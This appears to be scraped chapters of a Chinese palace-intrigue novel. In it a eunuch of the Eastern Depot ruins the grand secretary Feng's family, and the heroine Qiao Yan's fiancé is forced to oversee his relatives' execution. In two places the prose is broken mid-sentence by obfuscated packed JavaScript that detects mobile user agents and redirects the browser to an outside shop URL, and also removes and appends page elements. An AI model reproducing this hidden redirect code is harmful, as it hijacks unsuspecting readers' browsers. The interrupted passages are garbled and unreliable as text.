《太妃》 1. 噩耗 北安门外的昭回坊有一条老马胡同，里头住着很多蒙恩开府的太监，其中最大最气派的那一座府邸的大门正中高挂一个“董”字。 这儿是东厂提督太监董玉莲的府邸。 董玉莲是今上在潜邸时便随侍的老人，深蒙圣恩，从前担任司礼监掌印，在后宫一手遮天，后来迁为东厂提督，司礼监的掌印一职一直没有合适的人选出任，在皇帝的默许下由其义子董治代管。 自此，董氏一党宫内宫外耳目相连，权势滔天，除内阁首辅之外，无人敢与之争锋。 这样一个大奸似忠的人，自有其圆融。不论在外如何煊赫，东厂无事的时候，董玉莲还领着宫里奴婢当值的差事，在皇帝跟前尽忠。 这日不当值，他就歇在宫外府中。 正当夏至的午时末刻，太阳垂直地照下来，庭中明晃晃得看不到一点儿影子。 中堂门户大敞，董玉莲分着双腿，坐在堂屋中央的圈椅上，身后高几上摆着降温的冰块，手边挨着御赐的汝窑盏，里头还有一点茶沫。 两边各站着几个干儿孙，其中左手边第一个长眼圆脸，就是如今的司礼监代掌印董治。 虽有冰块降温，屋里仍有些燥热，却没人说话，好像都在等着什么。 不一会儿，两名厂役提来一人。那人被拖着胳膊架在中间，头挂在胸前，披头散发，中衣上只见污血。 厂役伸手一搡，那人就没有生气地趴在了地上。 “嘶——” 董玉莲眉头微皱，掩住鼻子，责备道：“怎么下手这般重，明日朝会，圣上要见他呢。” 其中一个厂役连忙拽起地上的头发，露出一张苍白麻木的面庞，双眼紧闭，乍一眼看去死了一般。 “奴婢们小心的很，没有动到脖子以上的地方，爷爷放心，到时候朝服一穿，谁也看不出来。” 董玉莲没作声，察觉到衣服领子似乎歪了，于是垂下眼捏着手指理了理。 这是不满意的意思。一旁的董治看到了，提起嗓子大声骂了出来：“你们跟了咱爷爷这么多年了，怎么连这点儿小事都办不好！这位可是投了爷爷门下的，干爹心疼还来不及，现今跟死了一样，明儿让人见了，还道咱爷爷不懂心疼小辈，随意作践呢！” “这，是奴婢们不好，爷爷恕罪！奴婢这就把他叫起来！” 厂役额头本就有汗，这片刻的工夫已经聚成了黄豆大的汗珠子，顺着脖子滚下来。他们顾不得擦，朝外招了招手，另有个穿着青贴里的杂役太监提着木桶走了进来。 董治忙举起自己衣袖，遮到董玉莲眼前。 哗啦！ “啊——” 乔家的幺女，乔燕，从午睡中惊醒，说不出来做了个什么梦，只觉心慌气短，眼皮跳得厉害。 时值盛夏，酷暑烧得人口干，乔燕心神不宁，呆坐了片刻，赤脚下床，到桌边，端起午前放凉的茶灌了两口，方觉好受点。 “姑娘！您怎么又喝凉茶！” 宜婵恰掀帘入内间，见状一惊，快步走过来，一低头，声音又高了一成：“鞋也不穿！” 乔燕只能讪讪地放下瓷盏，缩回榻上，嘀咕道：“还来说我，一觉醒来不见你人，是不是去躲懒了。” 一句信口埋怨，却不防换来一阵沉默。 宜婵神情微变。张了张嘴，又闭上，蹲下去拾起绣鞋，避开她的眼睛。 乔燕敏锐地察觉到了一丝异样，心里微悸。窗外蝉鸣不歇，梦里带出的不安复涌上心头。 “发生什么事了吗？” 宜婵托住自家姑娘秀气的脚踝，套上绣鞋，一咬牙开了口：“奴婢方才去外院取例银，听外头的人都在传，在传……” “什么事，你快说呀！” “冯家出事了。” 外间有人道。 乔燕顾不得鞋子还没穿好，忙踩着鞋跟站起身：“母亲！” 衣着华贵的妇人转过屏风，搭着丫鬟的手，抬起手上的帕子洇了鼻尖的汗，端详着跟前娇憨天真的少女，眼里有着一丝怜悯。 她身为乔家二老爷的夫人，膝下育有两子，眼前这个少女非是她腹中所出，而是乔二爷年轻时在江南任上留下的风流债。 二十多年前，乔二老爷外放至姑苏，同僚赠了一名瘦马。瘦马性情柔弱，貌美无依，乔二老爷万分怜爱，日夜沉浸在温柔乡里，后来得了一个女儿。 等六年任满，乔二老爷独自回京述职，承诺有朝一日安定下来，就去接母女回京。 母女二人怎么也没想到，乔二爷却十分胆小惧内，回京后一是怕言官弹劾，二是怕发妻问责，对这段风流往事缄口不言，只每年偷偷送去点傍身的银两以慰良心。 直到有一年，二夫人无意间发现了丈夫托人赠钱，又打听到那姑苏的妇人只生了一个娘子，作主将人接回，把已经年满十三岁的乳名为“只只”的小娘子记入族谱，取名“乔燕”，乔家小辈里这才多出一个五娘。 许是因为在江南市井里长大，乔燕不通礼节，性情娇憨，又许是因为江南水土养人，这个半途回家的幺女，出落得十分明媚动人，若不是早早给她定下冯家的亲事，这几年间上门求亲的人怕是能把门槛踏破。 当年好心定下的亲事，拖到如今，谁料竟要成为一段孽缘…… 乔夫人收回思绪，心中叹息。 “半个月前，浙江一县令冒死绕过内阁上疏，揭露了两浙盐运司贪墨内幕，仅去年一年，就有二百万银，圣上大怒，命东厂秘查，最终竟牵出元辅冯忱。冯忱昨日入狱，夜里就自戕谢罪了。只是就算他死了也难平天怒，就在方才，冯忱三族之内均判了死刑。” 二百万银是什么概念呢，这么一大笔钱可以在一年内养活福建的一支海军。两浙盐运司系内阁辖下，此案非同寻常，恐怕牵连甚广，皇帝唯恐文官互相包庇，沆瀣一气，于是于明面上按捺不表，暗地里命锦衣卫协助东厂彻查，待“证据”呈案，顿发雷霆之威，打了内阁一个措手不及。 如今国库赤字已久，冯家居庙堂之高，竟还敢带头贪墨如此之巨，圣上不仅大怒，更有种被蒙骗的羞辱感，没有株连九族，已是天恩。 乔夫人三言两语道明原委，末了可怜道：“幸好三年前守孝，你和他的亲事拖了下来，不必受牵连。” 乔燕脸色煞白，身子晃了晃，被宜婵一把搀住。 乔二夫人与乔燕算不得亲厚，只是乔燕素来乖巧省心，二人未曾闹过龃龉，此刻见她一副天塌下来的模样，乔夫人不由也生出一丝不忍。 说起与冯家的亲事，从前那可真是打着灯笼都找不到的好姻缘。 与乔燕定亲的是冯家二郎，以弱冠之龄高中状元，得圣上钦点入翰林任修撰，只待过几年镶一身金，便将入六科观政，成为真正的国之重臣。 乔家两房只有乔燕一个娘子，虽说是外室生的，似乎配不上冯二郎，可这亲事是两家祖父年轻时就定下的，如今老人尚在，做不得废，冯家那头只能捏着鼻子认下。二人的婚事本是早早说好，偏好事多磨，起初等冯矩高中，后来又等乔燕守孝，三年又三年，好好一个娘子生生拖成了老姑娘。 眼见就要完婚，谁知冯家就这么倒了，令人唏嘘。 想到这里，乔夫人缓和了语气，安抚道：“五娘，你与那冯矩无缘，今后便当没认识过。母亲和父亲会为你再择一户好人家。” 乔夫人走后，乔燕呆立原地许久，眼角划过一抹白，扭头见是院子里的六月雪，在夏风里微微摆动。 有一片花瓣在风里离了枝头，慢悠悠地落在窗台上，像一片细小的雪花。 记忆里，去年春节那天就落了这么一场细雪。 酉时雪停，皇帝携后登楼，与民共庆佳节。 乔燕跟着乔二夫人站在女眷人堆里，因着尴尬的身份，京城的闺秀无人与她交好，眼见其他姑娘三两结伴，笑作一团，她触景生情，闷闷不乐，平添酸楚。 姨娘带她入京，她却待得并不自在，年前姨娘去世，整个世界仿佛只剩她一人，那种伶仃的孤独感日夜纠缠，难 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“那是我输了，这灯按赌约送你。这可是工部匠人扎的灯，只有皇城里有，你手上这一盏，乃是冯二方才从圣上手里得的赏，回去后别弄丢了。” 乔燕小心接过，仔细端详着灯面绘着的雀儿，身形滚圆，黑白相间的羽毛像燕子，却没有画长长的剪尾，憨态可掬，越看越觉可爱。 乔燕神情古怪：“这绘图墨还未干透，也是匠人绘的么。” “你眼睛倒利，是冯二绘的。” 乔燕脸颊微红，露齿而笑，“我就知道，多谢四哥。” 说完，忍不住朝冯矩看去。那边的冯矩本就在等乔翀同行，冷不防乔燕偷偷朝他看来，四目相对，冯矩微怔，随即温和地笑了笑。 周边的声响骤然远去，乔燕只听得见自己的心跳，青年长身玉立天地间，濯濯郎朗，赤忱高洁。 …… 乔燕忽然抓住宜婵的手：“你去找四哥，我想见他。” 宜婵心道四郎与姑娘素来亲近，说不定能劝开姑娘，于是便去了。 等待的时间里，乔燕扶着桌子慢慢在胡椅上坐下，也不知过了多久，听到几道匆匆的脚步声，乔燕这才重新起身，抬头时眼睛是红的。 “四哥！二哥……” 不止是乔翀一人前来，宜婵去时乔家几个兄弟待在一处，乔二郎乔湛放心不下，跟着一起来了。 乔翀眼眶亦红着，看向妹妹，黯然的脸上勉强挤出一个笑：“五娘，娘都与你说了吧……没事儿，回头让爹娘再给你找个好人家。” 乔燕拽紧手里袖口，鼓起勇气：“我想再见一见他。” 乔翀避开她的目光。 乔湛看不得弟弟这副软弱的模样，眉头一皱，冷声道：“你不能见他。” “我……” 乔燕鼓起勇气，想再争一争，却在触及二哥严厉的眼神时吓得住了嘴。 乔湛吐出一口浊气，再开口时已恢复了镇静，简单跟妹妹道明原委。 原来，就在今晨的朝会，董玉莲竟以冯矩“大义灭亲”为由向皇帝陈情。圣上感其所为，特许其留在翰林院，若能提出线索，助朝廷找到那二百万两白银，便可官复原职。 也因此，有冯矩的证词，冯忱的罪名可谓板上钉钉，再无置喙的余地。 一届元辅，两朝元老，落得如此下场，实在令人唏嘘。曾经风光如冯家，也如烈火烹油，火尽油枯了。 下朝后，不少人亲眼见到冯矩立在董玉莲的轿前听训，听那意思，似乎已经拜了董玉莲门下，十分令人不齿。 乔燕喃喃：“我不信……” “众目睽睽之下，由不得你不信。” 乔湛话已至此，便是言明要乔燕和冯矩划清关系，知人知面不知心，谁能料到曾经那个锦绣少年竟是如此苟且偷生之徒。 更何况，冯家公案虽断，那贪墨的两百万银却没有下落，曾经和冯家交往的人家俱是人人自危，生怕受冯家牵连，被东厂敲门抄家，落得家破人亡的下场。 2. 牵连 冯家被抄，却不见脏银，百姓恨东厂入骨，私下都猜测冯家头顶的是莫须有的罪名。 物议不止，传到皇帝耳中，龙颜大怒，给东厂下了半个月的死令。 这天乔湛仍如往常一样在翰林院校对文书，冥冥中只觉心神不宁，索性搁笔，正要去外面透口气，门在这时被人猛地推开。 “谁是乔湛？” 门外，一队锦衣卫来势汹汹。在他们身后跟着破口大骂的翰林们，却碍于明晃晃的兵器不敢近身。 乔湛缓缓起身，眉头微蹙，虽然被刀剑指着，气势却并不落下风。 “此地乃文翰之林，自高祖时起便有规定，不可携兵器入内，你们这是连高祖定下的规矩都不愿守了吗！” 锦衣卫充耳不闻，领头之人一抬手：“是就好，拿走。” 乔湛被他的猖獗激怒，大喝道：“乃敢！我好歹也是朝廷命官，敢问诸位可有缉拿令！？” 锦衣卫头领好似听到了什么笑话，先示意属下勿动，继而伸手入怀，摸了半天，摸出一张皱巴巴的纸团。他朝手指上啐了口唾沫，将纸团捻开，往前一送，谑笑道：“乔大人好胆色，希望等会到了诏狱也还能这样从容不迫。” 乔湛将那张纸看过，缉拿缘由果然写着疑与冯家贪墨一案有关。 他移开目光，只道：“我自己走。” 乔湛被缉的消息很快便由翰林院传到各衙门。乔二老爷乔允在鸿胪寺中乍一听闻，连手上的笔都抓不稳了，急忙告假赶回家，命人去文渊阁找乔大老爷乔广川。乔广川三年前顺利进入内阁，亦是乔家如今的顶梁柱。 长随领命而去，乔父在书房陷入了焦急的等待，身下如坐针毡，站起来在门边来回踱步。 没多久，守门的阍人就看见乔父身边的长随去而复返。 马尚未停步，长随就翻了下来，连摔带爬地扑向大门。阍人手上去扶他，心里直犯嘀咕：也不知出了什么急事，怎么脸白成这样。 长随手脚俱软，一时站不起来，干脆拽着阍人的手，喊道：“快，快告诉二老爷，大老爷也被抓走了！” 这个消息劈得乔父手足发软，跌坐太师椅，只觉一片灰暗。 就在这时，乔夫人出现在门外，因为走得太急，胸脯剧烈地起伏。看到乔父的脸色，她来不及缓口气，便扶着门框急道：“老爷！好消息。” 乔父颓丧地抹了把脸：“这个时候了，还能有什么好消息。” “宫里那位唐爷送来了回信，答应了老爷的求见。” 乔父一怔，随即眼里迸出光亮，差点没从椅子上跳起来：“信呢？！” 乔夫人从袖中取出，不及说话，被乔父一把抢过。 展开信，乔父匆匆看过，捏着信笺的手指止不住地颤抖，突然痛哭出声：“天不亡我乔家！” 这位“唐爷”全名唐直抒，是宫里都知监的掌印太监，曾为皇帝挡箭，简在圣心，就连董玉莲也要给他些脸面。与董玉莲不同，唐直抒行事低调周正，在官员里的口碑并不算差。 冯家一出事，乔广川担心被东厂株连，便未雨绸缪地搭上了这位爷的路子，不曾想一语成谶，这位唐公公如今竟成了唯一的希望。 也亏得在这样的时候，唐公公还愿意伸出手拉乔家一把。只是该如何握住这只手，还得周详。 直接求情是行不通的，唐直抒能混到如今的位置，必然是人精中的人精，岂会愿意下这滩浑水…… 乔父拿着信，一边想着，一边命人传话府上的门客至书房议事。 是夜漏断人静，弦月挂在枝头，繁星闪烁，交相增辉。 院子里的假山下有一淙引来的曲水，泠泠地流淌，蛙鸣不断，蚊虫低飞。一只晚归的夏燕自低处掠过，优雅地滑入檐下巢穴里。 自从白日乔家两位郎君来过后，乔燕便沉黯了下去，在窗前坐了一下午，饭菜怎么端来的，便怎么端了回去。 宜婵犹豫再三，还是来到她身后，一边为她拆妆，一边努力找着话头。 “燕子飞得低，好像要下雨了。” 乔燕没作声，宜婵又道：“姑娘头发像缎子一样，大夫人院子里的阿喜姐姐还来问过奴婢可有什么保养的秘方，想是给大夫人讨的。只是您这是天生，奴婢哪里说得出什么秘方。” “我想自己待一会儿，”乔燕握住发里的木梳，语气很轻，“姨娘倒在山贼刀下的时候我就知道了，世事无常，我能想透。但，但道理和感情，总是分开的。” 宜婵无声地叹了口气。 就在这时，一点灯火突然遥遥现在院外，在黑黢黢的夜里格外显眼。 宜婵将横窗推得更开些，仔细看着，迟疑道：“好像是夫人。” 这么晚了…… 乔燕心中疑惑，看了眼自己身上的中衣，草草披了一件长衫，勉强打起精神，起身到门口相迎。 乔夫人已经走到院边，抬头望到她，屏退身边的婢女，独自拎着灯踏入院门。 “母亲怎么这个时候来？” 乔夫人不答，看向宜婵她们：“我和五娘说些话。” 宜婵察觉到氛围有些不对，担忧地看了乔燕一眼，领着另两个小丫鬟退了出去。 乔燕将乔夫人引入内间，亲自奉上热茶。 “母亲要和女儿说什么？” 乔夫人没有立即言语，在喝茶的间隙里无言地打量着她。 本以为她要闹上一闹，没曾想等了一下午，也没听到什么动静，甚至眼眶都是干的，好像连眼泪都没怎么流。 乔夫人一时生出些许奇异的感受，这么多年，她第一次这么认真地看过这个捡来的便宜女儿，在不声不响中出落成这样。从前她有这样沉得住气吗？没印象了。 不过这样更好。思及对乔燕的安排，乔夫人竟忍不住想，她这样，送她入宫也许并非全然是坏事。 要说的话来的路上早已备好，乔夫人问道：“还记得你的小姑吗？” “记得，先贵妃娘娘仙逝前，女儿曾和祖母入宫见过她。” 乔夫人拉过她的手，细细打量一番，方感慨地道：“你和小姑长得是真像啊。” 乔燕的小姑，曾是文景帝最为宠爱的贵妃，文景帝甚至想过废后立之，被一众言官以死相逼才罢休。小姑自此冠上媚主的骂名，连带着乔家在朝中也遭受了很久的冷眼，直到小姑染疾去世，才重新渐渐立稳脚跟。 乔燕这时还不解乔夫人的来意，按捺住心中疑惑，说道：“女儿如何能跟先贵妃娘娘比。” 乔夫人又喝了一口茶，回味片刻，一叹：“这是金瓜贡茶，三品以上官员人家方分得五两，我待你虽不亲厚，却也没有刻薄分毫，贡茶一到家，便按照你三位兄长的份例，给你也送了一份来。这茶金贵，寻常人家终其一生，连闻一口茶香都是奢望……但这富贵，怕是要到头了。” 乔燕微惊：“母亲这是何意？” “你可知，今日你二哥和大伯皆被东厂羁走，东厂诏狱，进去的人从没有能囫囵出来的。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔夫人既觉得可怜，又心生内疚，无力地道：“你我虽非亲生母女，但这些年来，我待你如何，你自知晓。我从不磋磨你，你要习字，又不便去学堂，我为你延请名师，就连说的亲事，当年也是顶好的，引多少姑娘歆羡。如果可以选，我们也不想送你入宫，将脊梁骨让给别人戳，但事到如今，是真的别无他法。” 乔夫人走了。 乔燕呆呆站了许久，等到宜婵不知何时进来，顺着她的力道在椅子上慢慢坐下，神情仍旧木然。 短短两日，她的人生天翻地覆。 记忆里，乔贵妃病逝前，她曾跟着乔家女眷入宫探亲。 彼时的乔贵妃已病笃经日，那天穿了一身正红的宫装，这个颜色一般宫嫔是不敢上身的，怕被责逾矩，但是贵妃娘娘独得圣眷，便是她把凤凰绣在衣服上，引得大臣争相弹劾，圣上也不会怪罪。 她着重色，却没有上妆，可就算如此，浓重的红也压不过素面朝天的五官。她是开在黄昏最浓的那片霞光下的牡丹，偏沾了一身书香清雅，压下颜色里的妩媚轻浮，只剩遥不可及的稠丽庄重。 便是这张莲上观音的皮相，让文景帝痴迷。 可是她们都知道，那时的乔贵妃没剩几日可活了。 闲话片刻，乔老夫人慈母心切，亲自去盯着宫女煎药。留下乔燕和乔贵妃独处一室。乔燕与这位小姑并不亲近，有些坐立难安。 贵妃盯着她看会儿，忽然抬手抚了她脸庞，感慨似的道：“这家中，竟是你与我有几分相像。只是这未必是美事，盼你日后莫做王谢燕，金丝作笼身作囚。” 日后莫做王谢燕，金丝作笼身作囚。现在再看，像谶言一样。 3. 见面 冯家问斩这天，正阳门外早早就聚集了很多百姓。 对他们来说，冯家这样的高门大户太遥远了，内阁首辅也太遥远了，唯一和他们有点关系的是，每年黄河决堤，北直隶的百姓就要增加赋税，据说这公文就是冯元辅批下的。 百姓们来这里，多是看个热闹。 冯忱自尽于诏狱，尸首亦随着冯家剩下的人被押到刑场，摆出跪地的姿势等待斩首。冯家人从囚车里出来，个个面黄肌瘦，蓬头垢面，浑然没有世家的矜贵，引得人评头论足，指指点点。 除了看热闹的百姓，刑场一侧还站着一群人，个个身穿素白缟衣，头戴白巾，从羁押的厂役出现便开始破口大骂，满口之乎者也、竖子贼臣。 “监斩官来了！” 人群里有人喊了一声，百姓的视线顿时朝监斩台后落去。 只见一个身形削瘦的年轻官员，穿着青色的补服，微垂着头，一步一步地走向临时搭建的凉棚。 “这就是监斩官？”一位赤膊农人奇道。 “好年轻的大人。” “冯矩！你不得好死！！” 另一边，穿缟衣的人群仿佛炸开了锅，有人赤红着眼想要冲上前，被中城兵马司的士兵拦下。 他们只能隔着人墙怒骂。 一旁的百姓听在耳里，凑了个囫囵，才知监斩官原也是冯家人，却因为贪生怕死，投了董玉莲门下，还要来亲自看着亲人砍头。 众多惊诧的、嫌恶的、怨憎的眼神投到高台上，冯矩恍若未闻，端坐案后，双手放在膝上，掩在袖后。 他微垂着头，眉目亦垂，面对台下扑面而来的叫骂，不动如钟。 啪！ 从书生的人群里扔出了一枚生鸡蛋，正好砸在了冯矩的帽子上，他被打得偏了一下头，腥臭的蛋液顺着乌黑的官帽缓缓流下，挂上眉毛。 “冯矩！尔与阉竖合流，不孝不义，狗彘不如！！” 空气为之一滞，良久，冯矩终于迟缓地抬起袖子，正要擦脸，却在这时，又一枚石子砸了过去，他没有反应过来，那枚石子擦着他的侧脸飞过。 他似乎怔住，想要擦脸的手慢慢放了回去。 “大人，奴婢替您擦一擦吧。您坐在这，好歹是天家的脸面。” 冯矩如今是戴罪之身，等找到赃款才能官复原职。不过他代天子监刑，此刻勉强算个天使，旁人拿不准该怎么称呼，就含糊喊一声“大人”。 眼前递来一方汗巾，隐隐带着股皂香。这人是董玉莲派来的一名干儿子，好像姓姚。 冯矩已无意去区分他的为人与立场，微闭眼，任由他动作，低声道了一句多谢。 这样漫长的时间里，案上线香终于燃去三分之一，冯矩从签筒里抽出一枚玄色签令，掷向法场。 这根签令被称为“送信签”，若犯人有亲朋好友，可在这时进入法场，送案犯最后一程。 然而冯家老小皆羁押于此，再者人走茶凉，从前旧交尚不能独善其身，又何来的亲故。 无人送行，未免冷寂。 片刻之后，那群读书人里三两步冲出一人，跪倒在冯忱的尸首跟前，颤抖地伸出手，为他拂去鞋上尘埃。 “学生乃劝学街借住生员，来京游学，苦无分文，若无您出资修建劝学街，供学生等食宿，学生怕早已撑不下去回乡了。冯公行义节高，不求回报，学生铭感在心，今以生礼为您送行。” 他哭着叩头，忽然似发现了什么，激动地仰起脖子，朝四周呐喊：“你们看！他身上的衣服打着补丁啊！” 冯忱在诏狱受尽酷刑，却不好直接示之于众，赴刑场前由冯家女眷为他收拾了遗容，穿着洁净的中衣，衣袖处补丁针脚细密，若不近看还真看不出来。 冯家门风清正，何曾真的贪墨，污名加身，诉冤无门，孰料满腹冤屈此刻竟被素未谋面之人喊了出来。 冯忱的长子不由泪湿衣襟，伸出套着木枷的手，扶住那位读书人，低声劝道：“好孩子，你回去吧，你再待下去，前程不保啊……” 孰料这人是个二愣子，并没有领会冯家人的好心，反而大声道：“若只要站对队伍、拜对师门就有前程，那这样的前程不要也罢！” 此言一出，如风过麦地，麦浪翻涌，那群读书人皆被激出血性，长跪于地。 “学生亦客居劝学街，来为冯公送行。” “学生亦是！” 满目素缟，长歌当哭。 冯矩安静地看着这一幕，心想，这或许是他这辈子见过的最肃穆、最愤怒的白色。 就在这时，冯矩注意到，人群边上有人掏出了一个小册子，盯着这群读书人，似乎正在记什么。 这人穿着便衣，冯矩却认得是锦衣卫。他手上的册子，便是掌管很多人死生的无常簿。 冯矩面色微变，豁然起身，道：“肃静！” 他的声音并不大，帽子上还残留着干涸的蛋液，然面色平静，这样独立高台，竟也有岿然气势。 百姓议论渐熄，读书人恨目而视，就连那几个锦衣卫也好奇停笔看了过去。 冯矩朗声道：“圣人留‘送信签’，意为于法理之下可度人情，然尔等在此言谬悠之说，行惑众之为，是何居心？给本官将他们拿下，待后再审！” 这一句顿时将法场炸开了锅。 兵马司的士兵本意是在此维护纪律，以防一些突发状况，闻言稍有愣怔，虽然心中也觉得这位监斩官太过冷酷，却不得不听令去抓那群手无缚鸡之力的读书人。 有人被士兵抓住双臂，动弹不得，嘶吼道：“冯——矩——你还有没有良心！！” 冯矩面无表情地听着。 “冯大人，秋小旗请来了。” 冯矩抬头，站在他面前的正是方才人群中的锦衣卫，年约三十，留着茬须，穿着胡裤，腰间配着一柄细长的刀，看起来没有半分武将的劲儿，像市井里的泼皮。 这人冯矩并不陌生，秋淼，人称“秋三水”，锦衣卫小旗。正阳门到猪市口整条大街都在这位秋小旗管辖的范畴下，从前上下值，常见到秋三水领着七八个锦衣卫被沿街商户谄媚地送出来。 “冯大人好威风啊，我们方才都被唬住了。” 冯矩拱手道：“那群人法场闹事，有何目的，我稍后会审清楚，还请阁下将方才在无常簿上记的东西交给我，以供审问。” 文官多自诩清高，秋淼吊儿郎当，态度十分无礼，换成旁人不说当场黑脸，也多少有所不齿，冯矩却仍礼仪周到。秋三水鹰眼盯着他看了半晌，才发觉他是真的不在意，严于律己，宽以待人，说的就是这样的人，不由啧啧称奇。 “冯大人常年坐在书架子后面拿笔杆子，对这审问的流程恐怕不太清楚，这是我们锦衣卫分内的事，自然该由我们来做。” 冯矩作了一揖：“冯某代圣人监刑，刑场之上，事无大小，均属我管辖。他们不过逞一时口舌之快，并未犯什么大错，请大人网开一面。” 他拿圣人压下，又给足面子，倒真不好继续胡搅蛮缠了。 秋三水从无常簿上撕下一页纸，纸上才记了三个半名字。冯矩垂眸接过，心下一松，道：“多谢。” “多谢？”秋小旗咂摸，“哈，多谢？老子干这行这么久，还是第一次听这两个字。冯大人，你可真是个有趣之人。你为他们操这个心做什么，他们又不会领你的情，他们不仅不会领情，而且还一直骂你。” “他们骂我，是因为我有过错。” 秋三水煞觉有趣，吊眉一笑：“你有什么过错？你如果有过错，为什么到现在都不见冯家人骂你？” 冯矩折起纸片的动作微顿。 不愧是能做圣人眼睛的锦衣卫，心眼竟这般尖。 但冯矩并不想在他面前诉冤，假装没有听到，将纸片塞进袖中，看一眼燃到头的线香，拱手道：“请大人下去吧，行刑的时辰到了。” 签落事定，左不过血溅三尺，人头落地。满场寂然，无有哗者。 及至天色渐暗，暮鼓既响，街上罕有人烟。 菜市口，衙门寻来的挑夫将尸首垒成几垛，搬上板车，准备送去城郊乱葬岗。 就在这时，一道瘦长的影子出现在他们跟前。 “我来为冯公殓尸，请诸位将冯公的尸首给我。” 太阳落下，月亮还未升起，正是天色最暗的时候，视野里什么都看不清。 监管挑夫的衙役把手上的风灯往前举了举，照亮来人脸庞，不由惊愕：“你，你不是今日监斩的那个……” 这个人是冯忱之后，来收尸倒也不为奇，但他今日白天做派，与冯家并不似一路人啊。 认出来人，衙役不敢得罪，赔笑道：“大人，若寻常斩首的尸体也就罢了，但今日这个上头有吩咐，须得曝野三天，不得有人收尸。” 冯矩身边还跟着一人，正是白天就跟着他的那名姚公公，闻言上前一步，出示了东厂的牙牌，道：“冯家子一片孝心，厂公恩许他为冯忱收尸。” 衙役只瞧了一眼牙牌，不敢细看，忙躬身让挑夫拣出冯忱的身躯和脑袋，把脑袋放在身躯上，正要说什么，却见冯矩已经蹲身，在一地血污里双手托起了冯忱的尸首。 接着他在原地站了一会儿，垂目看着冯忱的头颅。冯忱双眼紧闭，像是至死都在拒绝和他解释什么。 冯矩不再去看，转过身，对挡着路的衙役轻声道：“劳驾。” 衙役心里一颤，忙避到一旁。 姚公公道：“冯大人，那我们就……” 冯矩打断他：“接下来的路可否容冯某一人独行。” 姚公公奉董玉莲的命令，来监管冯矩，相处这么多日，他对这位年轻人生出许多敬佩和怜惜，不由一叹，在自己权力内给了些许方便：“只这条道，我在城门口等您，等会儿您出城，还得我手头的牙牌呢。” “多谢公公。” 冯矩抱着祖父，一步一步朝城外走去。 眼见的远离了身后的灯火，举目皆是黑暗，终有一行清泪，顺着脸颊流了下来。有那么一瞬间，他觉得自己不如碎在这黑暗里，总好过活着去听那些数不清的谩骂。 忽然，身边有人低低唤了一句：“冯二郎。” 一时疑为幽魂索命，冯矩驻足闭目，竟感受到了一丝解脱。 “冯二郎！” 这声更清楚了些。 缺月东升，借着这缕月光，冯矩看清了身边之人，恍然以为自己出现了幻觉。 “……五娘？” “是我，”乔燕往前一步，踩在月光下，少有的大胆地凝视着他，“我来送送你。” “已经是宵禁的时辰，你怎能一个人在此，你家里人呢！”冯矩皱起眉，言辞里是罕见的严厉。 乔燕满不在意地笑了一笑：“我下午要出门逛一逛，母亲亲口允下，只是恐怕没想到我竟有胆子甩开婢女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996279|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧，乔家现在想必已经在找我了，不过我不想回去，我想送送你。” 她跟往常有些不一样，冯矩察觉出了什么，眼含担忧：“为何不想回家？” 乔燕答非所问：“你是来为冯公收尸的吗？为何只收殓他一人，你的父兄亲眷呢？” “董玉莲只允我殓一人。” 说到此处，冯矩脸上细微的表情已悉数收尽，容色平静：“乔姑娘还是尽快回家吧。” 乔燕不答，也不离开，跟着他的步伐往前走了数十步，忽然道：“今日刑场我也在。众人骂你，为何独冯家人不骂你？” 冯矩脚步一顿。 “你有苦衷。” 短短四个字，如利剑撕破冯矩的心防。 他此前竟不知，乔家这位温顺的姑娘，竟也能犀利至此。 冯矩苦笑：“很明显么？” “怎么，有谁也这么说过吗？”乔燕有些好奇。 “锦衣卫的一位小旗，今日同样问过我这个问题。” “其实很明显，端看愿不愿去想，愿不愿信。” “信什么？” “信你。很多人就算注意到了这件事，也不会多想，他们觉得你有罪，便不会去想，你是不是有苦衷。” 说这句话时，乔燕停住了脚步。 冯矩下意识跟着停下，回首看她。 秋三水问他为什么，是怀着看好戏的心态，唯有乔燕，是真的信他。 但什么叫做“苦衷”呢？ 不能为人道，才叫苦衷。 被冯忱逼着跪在董玉莲跟前，是冯矩这辈子最痛苦的时刻。他不愿这样舍去尊严地苟活，更无法理解祖父的命令。 他手上戴着镣铐，背脊却挺的笔直，不愿违抗祖父，于是怒视着上首坐着的董玉莲。 董玉莲笑笑，端起杯子喝了一口茶：“我收了半辈子的门生，可没见过这样拜师的，这般骨头硬的学生，谁若是收下，怕会折寿吧。” 冯忱朝孙儿喝道：“你给我跪下！” 冯矩沉默以抗。 冯忱闭眼，自己朝着董玉莲直挺挺地跪了下去。 这一辈子，冯矩只见他跪过天子，这一幕在冯矩看来，有一种不真实的感觉，心里除了震惊，只剩荒唐。 “爷爷……” 冯忱只闭目不言。冯矩知道，这是冯忱在用这种方式逼迫他，爷替孙跪，让他如何自处。 他的脑袋一片空白，膝盖缓缓弯曲，耳边听到什么轰然坍塌。 “有点儿意思，这学生看来不收也不行了。”董玉莲接过奴婢递来的茶盏，笑呵呵地看着这幕闹剧。 冯忱匍匐下去，两鬓衰白，背脊瘦的可以在中衣上看到一节一节骨头，声音格外苍老：“求厂公留他一条性命，无须官禄厚之，不致让冯家绝后就行。我这孙儿骨头硬，您有看不惯的多打一打，打折了，也就听话了。” “真没想到，我这辈子竟能得冯相公跪拜，也算无有遗憾了，”董玉莲看起来格外满意，“既然您话都说到这份儿上了，那我只好倚老卖老一回，多替您管教管教这不成器的孙儿，您就安心去吧。” 说着，董玉莲从奴婢手里取过一根乌黑油亮的长鞭，起身踱到他们后边，一扬手，鞭风呼啸，毫不留情地抽在冯忱背后。 